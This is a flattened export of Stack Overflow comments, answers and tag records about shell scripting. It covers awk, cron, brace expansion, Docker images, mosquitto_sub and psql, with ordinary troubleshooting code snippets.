has text: I'm not so worried about leap years and leap seconds here -- the translation to epoch time takes care of that. It's needing microsecond resolution that's a problem using the shell in the OP's case.
score: 1

exec
type: Tag
tag name: exec
tags question: http://stackoverflow.com/q/77191993
tags question: http://stackoverflow.com/q/77275139
tags question: http://stackoverflow.com/q/78573688
tags question: http://stackoverflow.com/q/79157601

http://stackoverflow.com/comment/135932152
score: 0
comment on: http://stackoverflow.com/q/77106862
type: QuestionComment
type: Comment
has text: Then I used the iptable module and it worked, but this question arose about running shell scripts via ansible... I have many shell scripts but it is unfeasible to manage so many servers without ansible In some cases, moving the entire shell structure to Ansible would take days, as some update some applications

http://stackoverflow.com/comment/135986277
type: QuestionComment
comment on: http://stackoverflow.com/q/77138083
type: Comment
score: 1
has text: Always make backups. That will enable you to answer "What did I do differently from when it last worked." Also, automate the build process as much as possible.

head
type: Tag
tag name: head
tags question: http://stackoverflow.com/q/77094897
tags question: http://stackoverflow.com/q/77633303

http://stackoverflow.com/comment/136013318
score: 0
comment on: http://stackoverflow.com/a/77149598
has text: @YassineBoumajane I've added an `awk` solution too
type: Comment
type: AnswerComment

copy
tag name: copy
type: Tag
tags question: http://stackoverflow.com/q/77124990
tags question: http://stackoverflow.com/q/77489988

http://stackoverflow.com/comment/135904611
type: Comment
type: AnswerComment
has text: This answer looks ... generated.
score: 0
comment on: http://stackoverflow.com/a/77078338

http://stackoverflow.com/comment/136054002
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77175255
has text: Please use code blocks for text (copy paste), not images. And if the images show non-textual content then please inline them.

http://stackoverflow.com/a/77101166
type: Answer
has body: Here is a Ruby with the built-in CSV parser that does that: ruby -r csv -e 'data=CSV.parse($<.read,**{:headers=>true}) puts data.headers.join("\t") puts CSV.generate{|csv| data.group_by{|row| row["User"]}.each{|k,v| rights=v.map{|row| row["Rights"]}.join("|") csv<<[v[0]["User"],rights,v[0]["Login_date"]] } } ' file Prints: User Rights Login_date A,Admin|Accountant,12-SEP-23 B,Admin|Clerk,05-SEP-23
has comment: http://stackoverflow.com/comment/135935391
answers question: http://stackoverflow.com/q/77100689
score: 0

http://stackoverflow.com/comment/135993741
has text: @KevinC I just tested in a `python:3.12-rc-alpine` container and it works fine there
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77142355

http://stackoverflow.com/comment/136022743
type: QuestionComment
comment on: http://stackoverflow.com/q/77158416
has text: POSIX shell does not support brace expansion. I recommend that you test on the command line with the same shell as is used for your script.
score: 2
type: Comment

http://stackoverflow.com/comment/135900786
score: 0
comment on: http://stackoverflow.com/q/77089730
has text: *"If I add ... then the script says exactly that"* - isn't that what you want though? Because then when you run `inside_file.sh` it will expand the `"${new_text}"` variable. (Although you want quotes e.g. `new_text="${text}${year}"` ... `echo "\${new_text}"`)
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136047700
type: Comment
comment on: http://stackoverflow.com/a/77172140
type: AnswerComment
has text: Problem solved ! Need to specify what container I need to select. Thank you
score: 0

http://stackoverflow.com/comment/135958566
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/77122868
has text: We encourage questioners to show what they have tried so far to solve the problem themselves.
type: Comment

http://stackoverflow.com/comment/136049262
type: QuestionComment
comment on: http://stackoverflow.com/q/77173353
type: Comment
score: 0
has text: Please don't repost the same question. If you'd like to clarify your question, you should edit the original.

http://stackoverflow.com/comment/136159546
comment on: http://stackoverflow.com/a/77229144
type: Comment
has text: Hi, with -k this time it seems to be working it gives the keep alive message but also it says 400 bad request and the error is : XDMP-EVALQUERY: No query to eval although i have a xquery code in my bkp.xqy code
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135936109
has text: Perhaps I need to correct myself: According to [Wikipedia](https://en.wikipedia.org/wiki/Filename#Comparison_of_filename_limitations), this may be possible depending on the file system you are using, but that Wiki site also lists certain limitations, when you want to do this on the command line.
score: 0
comment on: http://stackoverflow.com/q/77107084
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77095729
answers question: http://stackoverflow.com/q/77095520
has comment: http://stackoverflow.com/comment/135911233
upvote count: 1
has comment: http://stackoverflow.com/comment/135911123
has comment: http://stackoverflow.com/comment/135910927
has comment: http://stackoverflow.com/comment/135911145
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135910917
has comment: http://stackoverflow.com/comment/135910992
has body: Try giving absolute path for the log_script.txt python3 /absolute path/to/file/myfile.py &gt;&gt; /absolute path/to/file/log_script.txt If you do not want to use the absolute path for log_script.txt. Just look for the file log_script.txt in cron working directory. The cron working director (pwd) can be found using below method https://unix.stackexchange.com/questions/38951/what-is-the-working-directory-when-cron-executes-a-job You have to check the log_script.txt in this directory
type: Answer

localhost
type: Tag
tag name: localhost
tags question: http://stackoverflow.com/q/77191993
tags question: http://stackoverflow.com/q/78004680

http://stackoverflow.com/comment/135958907
score: 0
comment on: http://stackoverflow.com/q/77122685
type: QuestionComment
type: Comment
has text: You can listen for multiple different things in an `expect` command, yes.

http://stackoverflow.com/comment/136025889
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77159678
type: Comment
has text: While experimenting, do not use `-i`

http://stackoverflow.com/comment/135965218
has text: Thank you so much @ufopilot ... Your logic is working as per expected.
comment on: http://stackoverflow.com/a/77122764
type: Comment
type: AnswerComment
score: 1

brackets
tag name: brackets
type: Tag
tags question: http://stackoverflow.com/q/77158416

http://stackoverflow.com/comment/135964429
comment on: http://stackoverflow.com/a/77124873
has text: Great answer but it's more convenient to do this with `awk`.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/136091041
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77191993
has text: I've replied with an answer below so I can better format the code needed to troubleshoot.

http://stackoverflow.com/comment/136038491
type: QuestionComment
has text: ...if you're asking why FD 3 is still set on the sleep command after the `>&3`, that's because you didn't anything to unset it; `>&3` is a _copy_ from 3 to 1, not a _move_ from 3 to 1; but that has nothing to do with grep.
comment on: http://stackoverflow.com/q/77166714
score: 0
type: Comment

http://stackoverflow.com/comment/135965610
type: Comment
score: 0
has text: _I use redirection (>>)_ There is no `>>` in your shell command.
type: QuestionComment
comment on: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/136013347
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77153051
has text: Thanks for your reply. $(CORES): if [ -a $(TEST_DIR)/$@.c ]; then \ $(info $(TARG) ) $(info $(CSEED) ) $(info "------------------") $(info "COMPILING bin dir is $(BIN_DIR)") $(MKDIR) $(BIN_DIR);\ $(COPY) $(TEST_DIR)/*.c $(BIN_DIR) || true;\ fi; \ Modified as per your comments and now I am getting below error. /bin/sh: -c: line 1: syntax error: unexpected end of file make: *** [dp_hs0] Error 1 child process exited abnormally

http://stackoverflow.com/comment/136131969
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77218091
score: 0
has text: Thank you, @hznat, it helps. At least it got back the result.

http://stackoverflow.com/comment/136078414
type: Comment
has text: @shellter Thank you for your comment! In a shell environment, subscribing to messages can be useful for various tasks such as monitoring, logging, or triggering actions based on specific events,the messages do appear in the terminal when received. as for your question about allowing for multiple subscriptions, you are correct, it is possible to achieve that using a loop construct. In this particular script, I have shown an example with two subscriptions, but you can easily extend it to handle 'n' subscriptions using a loop.
type: AnswerComment
comment on: http://stackoverflow.com/a/77188909
score: 0

http://stackoverflow.com/comment/136047032
type: QuestionComment
score: 0
type: Comment
has text: To reinforce @Paolo's comment: if the image is built around Alpine Linux, it likely won't have a `bash`, but it could have a similar `sh`. It's also reasonably common to build images around static binaries (especially if the application is written in Go) and then install them into a very minimal image that includes no shell at all. What you're trying may just be impossible with this image.
comment on: http://stackoverflow.com/q/77171720

http://stackoverflow.com/a/77122890
upvote count: 2
downvote count: 0
type: Answer
score: 2
has body: This is a suitable job for awk. #!/usr/bin/env bash awk ' # Before starting, initialize our variables BEGIN { arm = 0; done = 0; } # The first time we see the text11 section, arm ourselves to look for text5 /^"text11"$/ && done == 0 { arm = 1 } # When we are armed and see text5, perform the replacement, then disarm /"text5" "0"/ && arm == 1 { done = 1 # done: ignore any future "text11" arm = 0 # disarm: we are finished print(" \"REPLACED TEXT\" \"1\"") # print our replacement output next # do not print $0 for this line } { print $0 } ' See this running in the online sandbox at https://ideone.com/SyXOjx
answers question: http://stackoverflow.com/q/77122868

http://stackoverflow.com/comment/136028630
score: 0
type: QuestionComment
has text: IMHO, way too much info here. Please read about [mcve] and read the section [How to turn a bad script into a good questions](https://stackoverflow.com/tags/bash/info). (this advice applies to all languages, not just bash). Also https://shellcheck.net is the first place to figure out syntax problems. Be sure to include #!/bin/bash (or other) as your first line of scripting. Good luck.
comment on: http://stackoverflow.com/q/77161643
type: Comment

http://stackoverflow.com/comment/136135231
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77121277
has text: I pulled ubuntu:latest again. And I added some more information on this build. The SHA of the ubuntu image I'm using is now 3f2dc4ad66693b6306ee812371b79e6a2984a18e6590509be9a98108a235f7ff. And the result was the same.

http://stackoverflow.com/comment/135888664
type: Comment
type: AnswerComment
has text: Or in one go with Bash version >=4 `mapfile -d '' list_of_files < <(find . -name '*.[hc]' -print0)`
comment on: http://stackoverflow.com/a/77082675
score: 0

http://stackoverflow.com/comment/135931304
comment on: http://stackoverflow.com/q/77107010
type: QuestionComment
has text: ignoring timestamps, hardlinks, etc, but requiring all files exist in both and have same size (but maybe not same content): `rsync -n -ir --size-only source/ dest/ | grep -q . && echo different || echo same`
type: Comment
score: 1

http://stackoverflow.com/comment/136217553
score: 0
has text: Don't think it's a permissions issue, since I can sudo to "applmgr" and run the script from the shell without issue. I'll try adding the -vvv to see if anything else shows up.
type: QuestionComment
comment on: http://stackoverflow.com/q/77145853
type: Comment

http://stackoverflow.com/a/78244087
type: Answer
score: 0
has body: I've been looking for an answer to this and outputting to STDOUT and to a pipe all works, but I wound up figuring out a very simple solution. Create a sql file that has a copy command in it and output to a temp file \copy (query of data you want to get) to '/usr/local/sbin/temp_file.csv' DELIMITER ',' CSV Then use a simple cat command to redirect that data to your aggregate file cat temp_file.csv &gt;&gt; aggregate_data_file.csv From there you can get more data from another database by running the copy command and then using cat again to append to your aggregate file.
answers question: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/135984987
type: QuestionComment
comment on: http://stackoverflow.com/q/77135598
type: Comment
score: 0
has text: The follow-up question about gnome-terminal should be a separate question from the initial question about backslashes. By contrast, if you _only_ have answers about gnome-terminal and no questions about the trailing spaces, consider updating your question to fit those answers so people with the same problem can actually find them.

http://stackoverflow.com/comment/136039494
comment on: http://stackoverflow.com/q/77168035
type: QuestionComment
type: Comment
has text: `ls $(echo '-l -h')` doesn't require `eval` on my config!!? What's your environment?
score: 0

testing
tags question: http://stackoverflow.com/q/77171543
type: Tag
tag name: testing
tags question: http://stackoverflow.com/q/78114612
tags question: http://stackoverflow.com/q/78748228
tags question: http://stackoverflow.com/q/78765418
tags question: http://stackoverflow.com/q/79101633
tags question: http://stackoverflow.com/q/79415210

http://stackoverflow.com/comment/135910740
has text: What is `CommandInfo`? Show how you call `tokenizer`. Read this very closely; [MRE], then [edit] apply what you've read.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77095231

http://stackoverflow.com/comment/136155456
comment on: http://stackoverflow.com/q/77231881
type: QuestionComment
type: Comment
score: 0
has text: @Barmar could you elaborate more, maybe with overview steps on how to achieve such objective.

http://stackoverflow.com/comment/136100112
type: QuestionComment
type: Comment
has text: Your function may need a colon or a semicolon at least.
comment on: http://stackoverflow.com/q/77201945
score: 1

http://stackoverflow.com/a/77159532
upvote count: 1
answers question: http://stackoverflow.com/q/77158416
downvote count: 0
score: 1
has body: To answer your question: MinRange="${MinInicial}..${MinFinal}" # Outputs for example 30..35 ... Is there anyway to execute the following command inside a shell script? ls -lrth /path/to/my/directory/SOMEFILES_20230922{$MinRange}.log No and you can't do it on the command line either because because brace expansion happens before variables are expanded, you'll need to do something else. {35..40} is not the same as {${MinInicial}..${MinFinal}} nor {$MinRange} so saying When I execute the command line in shell, it works fine is wrong, the command line that succeeded (without variables) was not the same as the command line that failed (with variables). Only the first of those 3 expressions will do what you want. One way to get an array of file names with numbers in a range would be this if your shell has readarray: readarray -td '' files < <( for (( i=MinInicial; i<=MinFinal; i++ )); do file="/path/to/my/directory/SOMEFILES_20230922${i}.log" -f "$file" && printf '%s\0' "$file" done ) or this otherwise (since your file names don't contain newlines): IFS=$'\n' read -r -d '' -a files < <( for (( i=MinInicial; i<=MinFinal; i++ )); do file="/path/to/my/directory/SOMEFILES_20230922${i}.log" -f "$file" && printf '%s\n' "$file" done printf '\0' ) then you can loop through the array to do whatever you like with the files: echo "Files found: ${#files[@]}" for file in "${files[@]}"; do echo "$file" done or just process each file as it's found in the first loop above. By the way, please read https://mywiki.wooledge.org/ParsingLs if you're ever again considering piping the output of ls to wc or any other command and note in your script: InicialMin=$(date -d "-5 minutes" +%M) FinalMin=$(date +%M) MinRange="${MinInicial}..${MinFinal}" # Outputs for example 30..35 that you're populating InicialMin and FinalMin but then trying to use them by different names, MinInicial and MinFInal. http://shellcheck.net would have told you about that and other issues in your script.
type: Answer

http://stackoverflow.com/comment/136180046
has text: Using D2:D4 for replacement is straightforward. The key challenge lies in guiding the code to identify the keywords to be replaced with Dx. The underlying issue causing the failure in the second code is that E2:E2 does not match keywords in the JavaScript file. To address this, I recommend including placeholders in the JS template, such as AA, BB, and CC (corresponding to E2:E4). The code can then replace these placeholders with new values from D2:D4 and save the result as a new JSt file. This approach eliminates the need to worry about updating E2:E4.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/77230785

web-scraping
tag name: web-scraping
type: Tag
tags question: http://stackoverflow.com/q/77090236
tags question: http://stackoverflow.com/q/77544407

http://stackoverflow.com/comment/135917606
comment on: http://stackoverflow.com/q/77090384
type: Comment
has text: Thanks both. I imagine the atomic updating described by Charles is why I haven't seen any issues with this so far, but I didn't know it existed. So, I will probably just let these concurrent processes happen and not worry about them until something blows up.
score: 0
type: QuestionComment

operating-system
tags question: http://stackoverflow.com/q/77154642
type: Tag
tag name: operating-system
tags question: http://stackoverflow.com/q/77115001
tags question: http://stackoverflow.com/q/77285692
tags question: http://stackoverflow.com/q/78516204
tags question: http://stackoverflow.com/q/78735494
tags question: http://stackoverflow.com/q/79043998

http://stackoverflow.com/comment/136025055
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/77159678
has text: you seem to have dbl-quotes within dbl-quotes. Recommand you experiment with `sed -Ei 's@..."...."..@....@' file`. Use `@` and then you don't have to escape any `/' chars that are part of your srchTarget or ReplaceStr. Good luck.
score: 0

fastq
tag name: fastq
type: Tag
tags question: http://stackoverflow.com/q/77164954

http://stackoverflow.com/comment/135890543
comment on: http://stackoverflow.com/q/77083852
type: QuestionComment
score: 0
type: Comment
has text: I removed the .wav extensions from the files to make it easier on myself with the intent of adding them later, since otherwise the error tink mentioned pops up. `$(())` won't accept the file extension itself as part of it.

http://stackoverflow.com/comment/136019102
has text: yeah seen that but I need a different output so need the community help
type: QuestionComment
comment on: http://stackoverflow.com/q/77156311
type: Comment
score: 0

http://stackoverflow.com/comment/135956345
type: Comment
has text: same error `Chapter end time 0 before start 199000 chapters.ffmetadata: Cannot allocate memory` but the chapters.ffmetadata file did change I placed the change under update 3 in the question.
type: AnswerComment
comment on: http://stackoverflow.com/a/77120927
score: 0

http://stackoverflow.com/comment/136047371
score: 1
type: QuestionComment
type: Comment
has text: What exactly is `VALUE=\'$KEYIN` supposed to do? It just sets VALUE to an apostrophe, followed by the content of the string stored in KEYIN.
comment on: http://stackoverflow.com/q/77171543

hadoop
type: Tag
tag name: hadoop
tags question: http://stackoverflow.com/q/77173353
tags question: http://stackoverflow.com/q/78553422
tags question: http://stackoverflow.com/q/78481980
tags question: http://stackoverflow.com/q/79525558

http://stackoverflow.com/comment/136105676
comment on: http://stackoverflow.com/a/77204784
has text: I just gave one -- alpine. It's a very popular Docker base image.
type: Comment
score: 0
type: AnswerComment

select
tags question: http://stackoverflow.com/q/77235620
type: Tag
tag name: select
tags question: http://stackoverflow.com/q/78338291

interrupt
tag name: interrupt
type: Tag
tags question: http://stackoverflow.com/q/77115001

http://stackoverflow.com/comment/136112163
score: 1
has text: Can you provide a [MRE], e.g. in form of a github repository?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77208432

python-venv
tags question: http://stackoverflow.com/q/77216250
tag name: python-venv
type: Tag
tags question: http://stackoverflow.com/q/79148342

http://stackoverflow.com/comment/135986412
comment on: http://stackoverflow.com/q/77138083
has text: Rehashing comments above, MinGW stands for Minimalist Gnu for Windows. In many cases, this being one of them, it's too minimalist to mock up a UNIX system. That said, I've had great luck with [MSYS2](https://www.msys2.org/) getting close enough to work. If you need gcc on Windows and you aren't using MSYS2, at this time, you're handicapping yourself.
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/135982476
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77135598
has text: Try running it as just `./script`. Also, you may want add `set -vx` at the top of your script to see how the shell ultimately processes your cmd. Also be aware that using `script` as a name may conflict with `/usr/bin/script` at some point. Better to get into habit of name things `myScript`, `myTest` etc. Good luck.
score: 0

http://stackoverflow.com/comment/135964534
comment on: http://stackoverflow.com/q/77124990
score: 0
type: QuestionComment
has text: This comman is in .sql file that i execute with psql command. I use copy(select index,codice_fiscale,campo1,campo2 from tmp_table) TO STDOUT (DELIMITER '|') >> text.csv; but not work
type: Comment

http://stackoverflow.com/comment/136035016
has text: @shellter actually the script is run along with the cwl files where i have a docker image which is called and the script is executed
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77164954
type: Comment

http://stackoverflow.com/comment/135988026
type: QuestionComment
type: Comment
has text: No spaces allowed in shell around `=`
score: 1
comment on: http://stackoverflow.com/q/77139013

http://stackoverflow.com/comment/136092520
comment on: http://stackoverflow.com/q/77197549
score: 1
type: QuestionComment
type: Comment
has text: Try running the command under `set -xv` to see what the shell actually does.

http://stackoverflow.com/comment/136038597
comment on: http://stackoverflow.com/a/77166869
has text: This does not explain why grep only emits output once (which is clearly what the OP intended to ask about).
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/a/77187208
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77185980
has body: echo outputs its parameters with one space in between. Hence just doing echo "${arr[@]}" is sufficient. If you know for sure, that the array elements don't contain spaces, echo ${arr[@]} would do as well - but why take a risk? If you want to have more than one space in between, you can use printf. Say you want 3 spaces between the elements. This would then be printf "%s " "${arr[@]}"; echo The final, lone echo just produces the newline character. Note however that this use of printf has the effect of also adding 3 spaces after the last element as well. If this troubles you, you can strip it: printf "%s " "${arr[@]}" | sed 's/...$//'; echo or, if you have GNU head (for instance, if you are on Linux), by printf "%s " "${arr[@]}" | head -c -3; echo (the options -c -3 tell head to drop the last 3 characters).

http://stackoverflow.com/comment/136061456
has text: @JeremyFiel I feel like no, because I have to replace a property in undefined nested levels. the question refer more to in-place edit.
comment on: http://stackoverflow.com/q/77171901
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/135995359
comment on: http://stackoverflow.com/a/77142355
score: 0
has text: @steffen yes indeed, that is the assumption given OPs file
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136070293
comment on: http://stackoverflow.com/q/77185038
type: QuestionComment
type: Comment
has text: Thank you all for assistance. I understand the issue now
score: 0

ncbi
type: Tag
tag name: ncbi
tags question: http://stackoverflow.com/q/77164954

http://stackoverflow.com/a/78876133
type: Answer
score: 0
has body: You can get the topic returned with -F option. %J JSON output of message parameters and timestamp, with a non-quoted and non-escaped payload - this means the payload must itself be valid JSON. For example: {"tst":"2020-05-06T22:12:00.000000+0100","topic":"foo","qos":0,"retain":0,"payload":{"temperature":27.0,"humidity":57}}. e.g. mosquitto_sub -J %F -h $SOURCE_BROKER -t "0_0" -t "0_1" -u pi -P Pass123 | while read -r json_data You will just have to parse the JSON in your do loop. e.g. topic=$( echo $json_data | jq .topic ) message=$( echo $json_data | jq .paylad ) or whatever json parser you like.
answers question: http://stackoverflow.com/q/77188280

http://stackoverflow.com/comment/136002593
comment on: http://stackoverflow.com/q/77147140
score: 1
type: QuestionComment
type: Comment
has text: The var hasn't been defined in the shell in which your script is running. If you're using cron, remember that the shell is a raw unprofiled shell.